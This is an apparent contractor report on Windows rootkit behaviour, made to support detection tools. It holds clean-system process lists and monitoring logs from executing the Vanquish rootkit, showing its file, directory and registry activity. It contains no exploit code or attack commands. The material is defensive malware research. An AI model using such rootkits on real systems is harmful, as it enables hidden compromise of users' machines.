Windows Rootkit Analysis Report
Table of Contents

Introduction .......................................................................................................................... 4
Clean Monitoring Tool Logs .................................................................................................. 5
  Clean System PSLList ........................................................................................................ 5
  Clean System Process Explorer ......................................................................................... 6
Vanquish .............................................................................................................................. 7
  PSLList Vanquish ................................................................................................................ 7
  Vanquish Process Monitor (Process Start – Exit) ................................................................. 8
Process Explorer Thread Stack Vanquish .............................................................................. 8
Process Monitor Events Vanquish .......................................................................................... 9
Vanquish Log File (Created by rootkit, placed in root directory “C:”) .................................. 21
Process Explorer Memory Strings Vanquish .......................................................................... 23
NTIllusion ............................................................................................................................ 26
  Windows Task Manager kinject.exe .................................................................................. 27
  Handle kinject.exe ............................................................................................................. 28
  Process Explorer Threads kinject.exe ................................................................................. 28
  Process Explorer Strings Memory kinject.exe ...................................................................... 29
  Process Monitor kinject.exe ............................................................................................. 30
Windows Task Manager kNtiLoader.exe .............................................................................. 68
Handle kNtiLoader.exe ......................................................................................................... 69
  Process Explorer Properties Memory kNtiLoader.exe ....................................................... 69
  Process Monitor kNtiLoader.exe ....................................................................................... 71
  Miscellaneous Information and Summary ......................................................................... 122
AFX ..................................................................................................................................... 125
  Process Explorer Threads root.exe ..................................................................................... 129

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Process Monitor root.exe ........................................................................................................ 129
Process Explorer Memory Threads Root.exe ........................................................................ 131
Miscellaneous Information and Summary ............................................................................. 136
Migbot .................................................................................................................................. 137
P$List Migbot .......................................................................................................................... 137
Error Signature Generated by Migbot .................................................................................... 138
Windows Task Manager Applications Migloader.exe ........................................................... 139
Windows Task Manager Processes Migloader.exe & Dwwin.exe ........................................... 140
Handle Migloader.exe & Dwwin.exe ...................................................................................... 140
Process Explorer Stack Migloader.exe .................................................................................. 141
Process Explorer String Memory Migloader.exe ................................................................. 142
Process Explorer String Memory Dwwin.exe ....................................................................... 145
Process Monitor Dlls Migloader.exe and Dwwin.exe ............................................................ 158
Miscellaneous Information and Summary ............................................................................. 161
Process Explorer Threads cf$sd.exe ...................................................................................... 164
Process Explorer Strings Memory cf$sd.exe ....................................................................... 164
Process Monitor cf$sd.exe ..................................................................................................... 165
HxDefender (Hacker Defender) ............................................................................................. 168
Process List HxDefender ......................................................................................................... 168
Windows Task Manager HxDefender ..................................................................................... 169
Process Monitor Dlls HxDef100.exe ..................................................................................... 170
Process Monitor File Activity HxDef100.exe ....................................................................... 170
Process Explorer Thread Stacks HxDef100.exe .................................................................... 174
Process Monitor Dlls bdcli100.exe ....................................................................................... 175
Process Monitor File Activity bdcli100.exe .......................................................................... 175
Process Explorer Thread Stacks bdcli100.exe ..................................................................... 178

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Introduction

This report focuses on Windows Rootkits and their affects on computer systems. We also suggest that combining deployment of a rootkit with a BOT makes for a very stealth piece of malicious software.

We have used various monitoring tools on each of the rootkits and have included most but not all of the monitor logs due to space constraints. However, if a log is needed for perusal it is available. Some of the rootkits we investigated contained readme files which were, for the most part, quite informative and actually substantiated some of our monitoring log findings. For the rootkits that contained readme files we have either included them within the document or have included a link for them.

At the beginning of this report we have included clean monitoring logs from two different tools that we employed on the rootkits. We have other clean logs but did not include them for the sake of space. Once more, as the logs for the rootkits will be available if needed so will these clean logs.

Most of the rootkits that we studied had executable files included in their collection of files and folders. Our monitoring process took place after executing these files. In the group of eleven rootkits that we were given there were two rootkits that did not contain executable files (AK922 and NTRootkit); at the time of this report’s submission we do not have monitoring logs for these, but we are working toward that goal.

It is our hope that the logs included in this report will give an understanding of how each rootkit is affecting the computer system. Further we would like to think that it will help in the efforts to create a new software tool which might discover and eradicate these computer irritants more efficiently and consistently than what is available at the present time.
Clean Monitoring Tool Logs

Clean System PSList

<table>
<thead>
<tr>
<th>Name</th>
<th>Pid</th>
<th>Pri</th>
<th>Thd</th>
<th>Hnd</th>
<th>Priv</th>
<th>CPU Time</th>
<th>Elapsed Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Idle</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0:05:46.728</td>
<td>0:00:00.000</td>
</tr>
<tr>
<td>System</td>
<td>4</td>
<td>8</td>
<td>89</td>
<td>204</td>
<td>0</td>
<td>0:00:03.605</td>
<td>0:00:00.000</td>
</tr>
<tr>
<td>Smss</td>
<td>656</td>
<td>11</td>
<td>3</td>
<td>19</td>
<td>164</td>
<td>0:00:00.050</td>
<td>0:05:57.924</td>
</tr>
<tr>
<td>Csrss</td>
<td>720</td>
<td>13</td>
<td>11</td>
<td>363</td>
<td>1580</td>
<td>0:00:02.874</td>
<td>0:05:55.901</td>
</tr>
<tr>
<td>Winlogon</td>
<td>744</td>
<td>13</td>
<td>22</td>
<td>520</td>
<td>6880</td>
<td>0:00:01.321</td>
<td>0:05:54.019</td>
</tr>
<tr>
<td>Services</td>
<td>788</td>
<td>9</td>
<td>15</td>
<td>251</td>
<td>1540</td>
<td>0:00:01.602</td>
<td>0:05:53.858</td>
</tr>
<tr>
<td>Lsass</td>
<td>800</td>
<td>9</td>
<td>21</td>
<td>340</td>
<td>3648</td>
<td>0:00:00.690</td>
<td>0:05:53.818</td>
</tr>
<tr>
<td>Svchost</td>
<td>948</td>
<td>8</td>
<td>18</td>
<td>194</td>
<td>2932</td>
<td>0:00:00.190</td>
<td>0:05:53.117</td>
</tr>
<tr>
<td>Svchost</td>
<td>1008</td>
<td>8</td>
<td>9</td>
<td>216</td>
<td>1604</td>
<td>0:00:00.300</td>
<td>0:05:52.737</td>
</tr>
<tr>
<td>Svchost</td>
<td>1048</td>
<td>8</td>
<td>78</td>
<td>1327</td>
<td>12488</td>
<td>0:00:01.962</td>
<td>0:05:52.546</td>
</tr>
<tr>
<td>Svchost</td>
<td>1096</td>
<td>8</td>
<td>5</td>
<td>59</td>
<td>1036</td>
<td>0:00:00.030</td>
<td>0:05:52.476</td>
</tr>
<tr>
<td>Svchost</td>
<td>1148</td>
<td>8</td>
<td>13</td>
<td>202</td>
<td>1564</td>
<td>0:00:00.050</td>
<td>0:05:51.966</td>
</tr>
<tr>
<td>Spoolsv</td>
<td>1380</td>
<td>8</td>
<td>13</td>
<td>124</td>
<td>3084</td>
<td>0:00:00.130</td>
<td>0:05:50.403</td>
</tr>
<tr>
<td>Explorer</td>
<td>1500</td>
<td>8</td>
<td>13</td>
<td>404</td>
<td>12184</td>
<td>0:00:02.293</td>
<td>0:05:50.123</td>
</tr>
<tr>
<td>Gearsec</td>
<td>1616</td>
<td>8</td>
<td>2</td>
<td>29</td>
<td>248</td>
<td>0:00:00.010</td>
<td>0:05:49.792</td>
</tr>
<tr>
<td>Ctfmon</td>
<td>1676</td>
<td>8</td>
<td>1</td>
<td>76</td>
<td>808</td>
<td>0:00:00.090</td>
<td>0:05:49.101</td>
</tr>
<tr>
<td>PQV2iSvc</td>
<td>1700</td>
<td>8</td>
<td>7</td>
<td>211</td>
<td>13204</td>
<td>0:00:04.206</td>
<td>0:05:48.671</td>
</tr>
<tr>
<td>GhostTray</td>
<td>1780</td>
<td>8</td>
<td>8</td>
<td>150</td>
<td>1848</td>
<td>0:00:01.171</td>
<td>0:05:48.040</td>
</tr>
<tr>
<td>Alg</td>
<td>564</td>
<td>8</td>
<td>6</td>
<td>97</td>
<td>1052</td>
<td>0:00:00.020</td>
<td>0:05:42.552</td>
</tr>
<tr>
<td>Wscntfy</td>
<td>596</td>
<td>8</td>
<td>1</td>
<td>39</td>
<td>512</td>
<td>0:00:00.030</td>
<td>0:05:42.071</td>
</tr>
<tr>
<td>Wuauclt</td>
<td>1396</td>
<td>8</td>
<td>7</td>
<td>201</td>
<td>6288</td>
<td>0:00:00.190</td>
<td>0:05:00.872</td>
</tr>
<tr>
<td>Cmd</td>
<td>628</td>
<td>8</td>
<td>1</td>
<td>34</td>
<td>1904</td>
<td>0:00:00.060</td>
<td>0:01:04.522</td>
</tr>
<tr>
<td>Pslist</td>
<td>700</td>
<td>13</td>
<td>2</td>
<td>86</td>
<td>900</td>
<td>0:00:00.040</td>
<td>0:00:00.270</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
## Clean System Process Explorer

<table>
<thead>
<tr>
<th>Process</th>
<th>PID</th>
<th>CPU</th>
<th>Description</th>
<th>Company Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>wscntfy.exe</td>
<td>540</td>
<td></td>
<td>Windows Security Center Notification App</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>winlogon.exe</td>
<td>684</td>
<td></td>
<td>Windows NT Logon Application</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>System Idle</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Process</td>
<td>0</td>
<td>97.03</td>
<td></td>
<td></td>
</tr>
<tr>
<td>System</td>
<td>4</td>
<td>0.99</td>
<td></td>
<td></td>
</tr>
<tr>
<td>svchost.exe</td>
<td>892</td>
<td></td>
<td>Generic Host Process for Win32 Services</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>948</td>
<td></td>
<td>Generic Host Process for Win32 Services</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>984</td>
<td></td>
<td>Generic Host Process for Win32 Services</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>1112</td>
<td></td>
<td>Generic Host Process for Win32 Services</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>1244</td>
<td></td>
<td>Generic Host Process for Win32 Services</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>spoolsv.exe</td>
<td>1452</td>
<td></td>
<td>Spooler SubSystem App</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>smss.exe</td>
<td>604</td>
<td></td>
<td>Windows NT Session Manager</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>services.exe</td>
<td>728</td>
<td>0.99</td>
<td>Services and Controller app</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>proexp.exe</td>
<td>3640</td>
<td></td>
<td>Sysinternals Process Explorer</td>
<td>Sysinternals - <a href="http://www.sysinternals.com">www.sysinternals.com</a></td>
</tr>
<tr>
<td>PQV2lSvc.exe</td>
<td>1604</td>
<td></td>
<td>Service Module</td>
<td>Symantec Corporation</td>
</tr>
<tr>
<td>lsass.exe</td>
<td>740</td>
<td></td>
<td>LSA Shell (Export Version)</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>Interrupts</td>
<td>n/a</td>
<td></td>
<td>Hardware Interrupts</td>
<td></td>
</tr>
<tr>
<td>GhostTray.exe</td>
<td>480</td>
<td>0.99</td>
<td>Tray Application</td>
<td>Symantec Corporation</td>
</tr>
<tr>
<td>gearsec.exe</td>
<td>1564</td>
<td></td>
<td>gearsec</td>
<td>GEAR Software</td>
</tr>
<tr>
<td>explorer.exe</td>
<td>1332</td>
<td>0.99</td>
<td>Windows Explorer</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>DPCs</td>
<td>n/a</td>
<td></td>
<td>Deferred Procedure Calls</td>
<td></td>
</tr>
<tr>
<td>ctfmon.exe</td>
<td>288</td>
<td></td>
<td>CTF Loader</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>csrss.exe</td>
<td>660</td>
<td>0.99</td>
<td>Client Server Runtime Process</td>
<td>Microsoft Corporation</td>
</tr>
<tr>
<td>alg.exe</td>
<td>244</td>
<td>0.99</td>
<td>Application Layer Gateway Service</td>
<td>Microsoft Corporation</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
**Vanquish**  Chase

Vanquish is a rootkit with many possibilities. I will discuss in the summary information what I have found regarding its uses. In the interim I will show some of the monitoring logs after Vanquish had been executed. I start out with PSList, as you can see Vanquish shows up as a process, however, it does not stay visible for a long period of time in the processes.

**PSList Vanquish**

<table>
<thead>
<tr>
<th>Name</th>
<th>Pid</th>
<th>Pri</th>
<th>Thd</th>
<th>Hnd</th>
<th>Priv</th>
<th>CPU Time</th>
<th>Elapsed Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>Idle</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>15:44.6</td>
<td>00:00.0</td>
</tr>
<tr>
<td>System</td>
<td>4</td>
<td>8</td>
<td>89</td>
<td>206</td>
<td>0</td>
<td>00:45.2</td>
<td>00:00.0</td>
</tr>
<tr>
<td>smss</td>
<td>604</td>
<td>11</td>
<td>3</td>
<td>19</td>
<td>248</td>
<td>00:00.1</td>
<td>54:19.6</td>
</tr>
<tr>
<td>csrss</td>
<td>660</td>
<td>13</td>
<td>12</td>
<td>351</td>
<td>1692</td>
<td>00:09.6</td>
<td>54:18.3</td>
</tr>
<tr>
<td>winlogon</td>
<td>684</td>
<td>13</td>
<td>20</td>
<td>579</td>
<td>7960</td>
<td>00:04.5</td>
<td>54:16.4</td>
</tr>
<tr>
<td>services</td>
<td>728</td>
<td>9</td>
<td>16</td>
<td>341</td>
<td>3468</td>
<td>00:06.7</td>
<td>54:16.3</td>
</tr>
<tr>
<td>lsass</td>
<td>740</td>
<td>9</td>
<td>20</td>
<td>339</td>
<td>3636</td>
<td>00:02.2</td>
<td>54:16.2</td>
</tr>
<tr>
<td>svchost</td>
<td>892</td>
<td>8</td>
<td>17</td>
<td>191</td>
<td>2928</td>
<td>00:00.3</td>
<td>54:15.6</td>
</tr>
<tr>
<td>svchost</td>
<td>948</td>
<td>8</td>
<td>9</td>
<td>240</td>
<td>1652</td>
<td>00:00.6</td>
<td>54:15.3</td>
</tr>
<tr>
<td>svchost</td>
<td>984</td>
<td>8</td>
<td>73</td>
<td>1407</td>
<td>13428</td>
<td>01:04.3</td>
<td>54:15.0</td>
</tr>
<tr>
<td>svchost</td>
<td>1044</td>
<td>8</td>
<td>4</td>
<td>58</td>
<td>1048</td>
<td>00:00.1</td>
<td>54:14.5</td>
</tr>
<tr>
<td>svchost</td>
<td>1088</td>
<td>8</td>
<td>13</td>
<td>201</td>
<td>1580</td>
<td>00:00.0</td>
<td>54:14.3</td>
</tr>
<tr>
<td>explorer</td>
<td>1372</td>
<td>8</td>
<td>17</td>
<td>654</td>
<td>18624</td>
<td>00:53.3</td>
<td>54:13.0</td>
</tr>
<tr>
<td>spoolsv</td>
<td>1404</td>
<td>8</td>
<td>10</td>
<td>118</td>
<td>3052</td>
<td>00:00.1</td>
<td>54:12.8</td>
</tr>
<tr>
<td>gearsec</td>
<td>1548</td>
<td>8</td>
<td>2</td>
<td>29</td>
<td>260</td>
<td>00:00.0</td>
<td>54:12.5</td>
</tr>
<tr>
<td>ctfmon</td>
<td>1628</td>
<td>8</td>
<td>1</td>
<td>118</td>
<td>896</td>
<td>00:00.6</td>
<td>54:12.0</td>
</tr>
<tr>
<td>GhostTray</td>
<td>1652</td>
<td>8</td>
<td>7</td>
<td>147</td>
<td>1648</td>
<td>00:04.4</td>
<td>54:11.7</td>
</tr>
<tr>
<td>PQV2iSvc</td>
<td>1688</td>
<td>8</td>
<td>6</td>
<td>202</td>
<td>7152</td>
<td>01:02.6</td>
<td>54:11.4</td>
</tr>
<tr>
<td>alg</td>
<td>544</td>
<td>8</td>
<td>6</td>
<td>101</td>
<td>1112</td>
<td>00:00.0</td>
<td>54:06.8</td>
</tr>
<tr>
<td>wscntfy</td>
<td>352</td>
<td>8</td>
<td>1</td>
<td>39</td>
<td>548</td>
<td>00:00.1</td>
<td>54:05.4</td>
</tr>
<tr>
<td>cmd</td>
<td>3424</td>
<td>8</td>
<td>1</td>
<td>34</td>
<td>1944</td>
<td>00:00.1</td>
<td>56:16.1</td>
</tr>
<tr>
<td><strong>vanquish</strong></td>
<td><strong>2456</strong></td>
<td><strong>8</strong></td>
<td><strong>1</strong></td>
<td><strong>23</strong></td>
<td><strong>272</strong></td>
<td><strong>00:00.0</strong></td>
<td><strong>00:05.5</strong></td>
</tr>
<tr>
<td>pslis</td>
<td>2460</td>
<td>13</td>
<td>2</td>
<td>101</td>
<td>1084</td>
<td>00:00.1</td>
<td>00:03.1</td>
</tr>
</tbody>
</table>

The next log shown is an excerpt from Process Monitor. This shows if you look at the time of 2:04:0 from the process start to process exit is only a matter of approximately 20 seconds. This log also shows the dlls that were affected by Vanquish.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Vanquish Process Monitor (Process Start – Exit)

Below is a log taken from Process Explorer which shows the threads that were affected by Vanquish’s execution.

Process Explorer Thread Stack Vanquish

<table>
<thead>
<tr>
<th>Thread</th>
<th>Function</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>ntoskrnl.exe</td>
<td>ExReleaseResourceLite</td>
<td>0x1a3</td>
</tr>
<tr>
<td>ntoskrnl.exe</td>
<td>PsGetContextThread</td>
<td>0x329</td>
</tr>
<tr>
<td>ntdll.dll</td>
<td>KiFastSystemCallRet</td>
<td></td>
</tr>
<tr>
<td>ADVAPI32.dll</td>
<td>StartServiceW</td>
<td>0x20e</td>
</tr>
<tr>
<td>ADVAPI32.dll</td>
<td>StartServiceCtrlDispatcherA</td>
<td>0x62</td>
</tr>
<tr>
<td>vanquish.exe</td>
<td>0x2888</td>
<td></td>
</tr>
<tr>
<td>vanquish.exe</td>
<td>0x27db</td>
<td></td>
</tr>
<tr>
<td>kernel32.dll</td>
<td>RegisterWaitForInputIdle</td>
<td>0x49</td>
</tr>
</tbody>
</table>

Next is a rather long log of the events that took place during Vanquish’s execution from Process Monitor. These events are only related to Vanquish.exe.

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
## Process Monitor Events Vanquish
*(All have process name Vanquish.exe, PID 1160 and are in sequence)*

<table>
<thead>
<tr>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process Start</td>
<td></td>
<td>SUCCESS</td>
<td>Parent PID: 1372</td>
</tr>
<tr>
<td>Thread Create</td>
<td></td>
<td>SUCCESS</td>
<td>Thread ID: 2416</td>
</tr>
<tr>
<td>QueryNameInformationFile</td>
<td>C:\Documents and Settings\210user\Desktop\vanquish.exe</td>
<td>SUCCESS</td>
<td>Name: Documents and Settings\210user\Desktop\vanquish.exe</td>
</tr>
<tr>
<td>Load Image</td>
<td>C:\Documents and Settings\210user\Desktop\vanquish.exe</td>
<td>SUCCESS</td>
<td>Image Base: 0x400000, Image Size: 0x6000</td>
</tr>
<tr>
<td>Load Image</td>
<td>C:\WINDOWS\system32\ntdll.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c900000, Image Size: 0xaf000</td>
</tr>
<tr>
<td>QueryNameInformationFile</td>
<td>C:\Documents and Settings\210user\Desktop\vanquish.exe</td>
<td>SUCCESS</td>
<td>Name: Documents and Settings\210user\Desktop\vanquish.exe</td>
</tr>
<tr>
<td>CreateFile</td>
<td>C:\WINDOWS\Prefetch\VANQUISH.EXE-018E25CD.pf</td>
<td>SUCCESS</td>
<td>Desired Access: Generic Read, Disposition: Open, Options: Synchronous IO Non-Alert, Attributes: n/a, ShareMode: None, AllocationSize: n/a, OpenResult: Opened AllocationSize: 8,192, EndOfFile: 4,976, NumberOfLinks: 1, DeletePending: False, Directory: False</td>
</tr>
<tr>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\Prefetch\VANQUISH.EXE-018E25CD.pf</td>
<td>SUCCESS</td>
<td>Offset: 0, Length: 4,976</td>
</tr>
<tr>
<td>ReadFile</td>
<td>C:\WINDOWS\Prefetch\VANQUISH.EXE-018E25CD.pf</td>
<td>SUCCESS</td>
<td>Offset: 0, Length: 4,976, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O</td>
</tr>
<tr>
<td>QueryDirectory</td>
<td>C:\</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>CloseFile</td>
<td>C:\</td>
<td>NO MORE FILES</td>
<td></td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
CreateFile C:\DOCUMENTS AND SETTINGS SUCCESS Desired Access: Read Data/List Directory, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open For Backup, Attributes: n/a, ShareMode: Read, Write, Delete,

QueryDirectory C:\Documents and Settings SUCCESS 0: .., 1: ..., 2: 210user, 3: All Users, 4: Default User, 5: LocalService, 6: NetworkService

QueryDirectory C:\Documents and Settings SUCCESS NO MORE FILES

CloseFile C:\Documents and Settings SUCCESS

CreateFile C:\Documents and Settings\210user SUCCESS Desired Access: Read Data/List Directory, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open For Backup, Attributes: n/a, ShareMode: Read, Write,


QueryDirectory C:\Documents and Settings\210user SUCCESS NO MORE FILES

CloseFile C:\Documents and Settings\210user SUCCESS

CreateFile C:\Documents and Settings\210user\Desktop SUCCESS Desired Access: Read Data/List Directory, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open For Backup, Attributes: n/a, ShareMode: Read,

QueryDirectory C:\Documents and Settings\210user\Desktop SUCCESS 0: .., 1: ..., 2: autoruns.exe, 3: DellLaptopBuild, 4: flypaper.exe, 5: handle.exe, 6: HandleVanquish.txt, 7: HandleVanquish2.txt, 8: procexp.exe, 9: Procmon.exe, 10:

QueryDirectory C:\Documents and Settings\210user\Desktop SUCCESS NO MORE FILES

CloseFile C:\Documents and Settings\210user\Desktop SUCCESS

CreateFile C:\WINDOWS SUCCESS Desired Access: Read Data/List Directory, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open For Backup, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize

QueryDirectory C:\WINDOWS SUCCESS 0: .., 1: ..., 2: $hf_mig$, 3: $MSI31Uninstall_KB893803v2$, 4: $NtServicePackUninstall$, 5: $NtServicePackUninstallIDNMitigationAPIs$, 6: $NtServicePackUninstallNLSDownlevelMapping$, 7: $NtUninstall$

QueryDirectory C:\WINDOWS SUCCESS NO MORE FILES

CloseFile C:\\WINDOWS SUCCESS Desired Access: Read Data/List Directory, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open For Backup, Attributes: n/a, ShareMode: Read, Write, Delete, Alloc

CreateFile C:\WINDOWS\system32 SUCCESS

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
CreateFile  C:\WINDOWS\system32\advapi32.dll  SUCCESS
Desired Access: Execute/Traverse, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened

CreateFile  C:\WINDOWS\system32\rpcrt4.dll  SUCCESS
Desired Access: Execute/Traverse, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened

CreateFile  C:\WINDOWS\system32\secur32.dll  SUCCESS
Desired Access: Execute/Traverse, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened

CreateFile  C:\WINDOWS\system32\imm32.dll  SUCCESS
Desired Access: Execute/Traverse, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened

ReadFile  C:\Documents and Settings\210user\Desktop\vanquis_h.exe  SUCCESS
Offset: 390,144, Length: 53,248, I/O Flags: Non-cached, Paging I/O

ReadFile  C:\Documents and Settings\210user\Desktop\vanquis_h.exe  SUCCESS
Offset: 4,096, Length: 8,192, I/O Flags: Non-cached, Paging I/O

ReadFile  C:\Documents and Settings\210user\Desktop\vanquis_h.exe  SUCCESS
Offset: 12,288, Length: 4,096, I/O Flags: Non-cached, Paging I/O

CloseFile  C:\WINDOWS\system32\ntdll.dll  SUCCESS
CloseFile  C:\WINDOWS\system32\kernel32.dll  SUCCESS
CloseFile  C:\Documents and Settings\210user\Desktop\vanquis_h.exe  SUCCESS
CloseFile  C:\WINDOWS\system32\user32.dll  SUCCESS
CloseFile  C:\WINDOWS\system32\gdi32.dll  SUCCESS
CloseFile  C:\WINDOWS\system32\advapi32.dll  SUCCESS
CloseFile  C:\WINDOWS\system32\rpcrt4.dll  SUCCESS
CloseFile  C:\WINDOWS\system32\secur32.dll  SUCCESS
CloseFile  C:\WINDOWS\system32\imm32.dll  SUCCESS
CloseFile  C:\  SUCCESS
RegOpenKey  HKEY\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution  NAME  NOT FOUND
Desired Access: Read

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Options\vanquish.exe
CreateFile
C:\Documents and Settings\210user\Desktop
SUCCESS
Desired Access: Execute/Traverse, Synchronize,
Disposition: Open, Options: Directory,
Synchronous I/O Non-Alert, Attributes: n/a,
ShareMode: Read, Write, AllocationSize:

FileSystemControl
QueryOpen
C:\Documents and Settings\210user\Desktop
SUCCESS
NAME NOT FOUND

Load Image
C:\WINDOWS\system32\kernel32.dll
SUCCESS
Image Base: 0x7c800000, Image Size: 0xf6000

RegOpenKey
HKLM\System\CurrentControlSet\Control\Terminal Server
SUCCESS
Desired Access: Read

RegQueryValue
HKLM\System\CurrentControlSet\Control\Terminal Server\TSAppCompat
SUCCESS
Type: REG_DWORD, Length: 4, Data: 0

RegCloseKey
HKLM\System\CurrentControlSet\Control\Terminal Server
SUCCESS

Load Image
C:\WINDOWS\system32\user32.dll
SUCCESS
Image Base: 0x7e410000, Image Size: 0x91000

Load Image
C:\WINDOWS\system32\gdi32.dll
SUCCESS
Image Base: 0x77f10000, Image Size: 0x49000

Load Image
C:\WINDOWS\system32\advapi32.dll
SUCCESS
Image Base: 0x77dd0000, Image Size: 0x95b000

Load Image
C:\WINDOWS\system32\rpcrt4.dll
SUCCESS
Image Base: 0x77e70000, Image Size: 0x92000

Load Image
C:\WINDOWS\system32\secur32.dll
SUCCESS
Image Base: 0x77fe0000, Image Size: 0x11000

RegOpenKey
HKLM\System\CurrentControlSet\Control\Terminal Server
SUCCESS
Desired Access: Read

RegQueryValue
HKLM\System\CurrentControlSet\Control\Terminal Server\TSAppCompat
SUCCESS
Type: REG_DWORD, Length: 4, Data: 0

RegCloseKey
HKLM\System\CurrentControlSet\Control\Terminal Server
SUCCESS

RegOpenKey
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GDI32.dll
NAME NOT FOUND

RegOpenKey
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USER32.dll
NAME NOT FOUND

RegOpenKey
HKLM\System\CurrentControlSet\Control\Session Manager
SUCCESS
Desired Access: Query Value

RegQueryValue
HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
NAME NOT FOUND

RegCloseKey
HKLM\System\CurrentControlSet\Control\Session Manager
SUCCESS

QueryOpen
C:\WINDOWS\system32\imm32.dll
SUCCESS
CreationTime: 8/4/2004 8:00:00 AM,
LastAccessTime: 10/22/2008 2:04:05 PM,
LastWriteTime: 4/13/2008 8:11:54 PM,
ChangeTime: 7/31/2008 10:19:37 AM,
CreateFile C:\WINDOWS\system32\imm32.dll SUCCESS Desired Access: Execute/Traverse, Synchronize, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: n/a, ShareMode: Read, Delete, AllocationSize: n/a AllocationSize: 110,592, EndOfFile: 110,080
NumberOfLinks: 1, DeletePending: False, Directory: False

QueryStandardInformationFile C:\WINDOWS\system32\imm32.dll SUCCESS

CloseFile C:\WINDOWS\system32\imm32.dll SUCCESS


QueryStandardInformationFile C:\WINDOWS\system32\imm32.dll SUCCESS

CloseFile C:\WINDOWS\system32\imm32.dll SUCCESS


RegOpenKey HKLM\System\CurrentControlSet\Control\SafeBoot\Option NAME NOT FOUND Desired Access: Query Value, Set Value

RegOpenKey HKLM\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\TransparentEnabled SUCCESS Desired Access: Query Value

RegQueryValue HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\TransparentEnabled SUCCESS Type: REG_DWORD, Length: 4, Data: 1

RegCloseKey HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers SUCCESS

RegOpenKey HKCU\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers\TransparentEnabled NAME NOT FOUND Desired Access: Query Value

CloseFile C:\WINDOWS\system32\imm32.dll SUCCESS

Load Image C:\WINDOWS\system32\imm32.dll SUCCESS Image Base: 0x76390000, Image Size: 0x1d000

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
RegOpenKey   HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMM32.DLL NAME   NOT FOUND Desired Access: Read

